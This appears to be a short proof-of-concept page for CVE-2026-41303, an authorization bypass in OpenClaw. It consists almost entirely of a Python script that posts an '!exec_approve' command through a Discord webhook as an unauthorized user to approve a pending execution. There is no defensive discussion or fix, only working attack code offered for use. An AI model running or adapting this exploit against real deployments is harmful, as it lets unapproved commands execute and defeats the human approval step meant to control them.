CVE-2026-41303 OpenClaw权限绕过漏洞

import requests # This POC demonstrates how to bypass authorization in OpenClaw # by sending a Discord text command without being an approver. def send_approval_command(webhook_url, exec_id): """ Simulates an attacker sending a command to approve an execution. """ payload = { "content": f"!exec_approve {exec_id}", # The specific command to bypass the check "username": "UnauthorizedUser" } try: response = requests.post(webhook_url, json=payload) if response.status_code == 204: print("[+] Successfully bypassed authorization and approved the execution.") else: print(f"[-] Failed with status code: {response.status_code}") except Exception as e: print(f"[-] Exception occurred: {e}") # Usage example: # hook = "https://discord.com/api/webhooks/..." # send_approval_command(hook, "pending_request_id_123")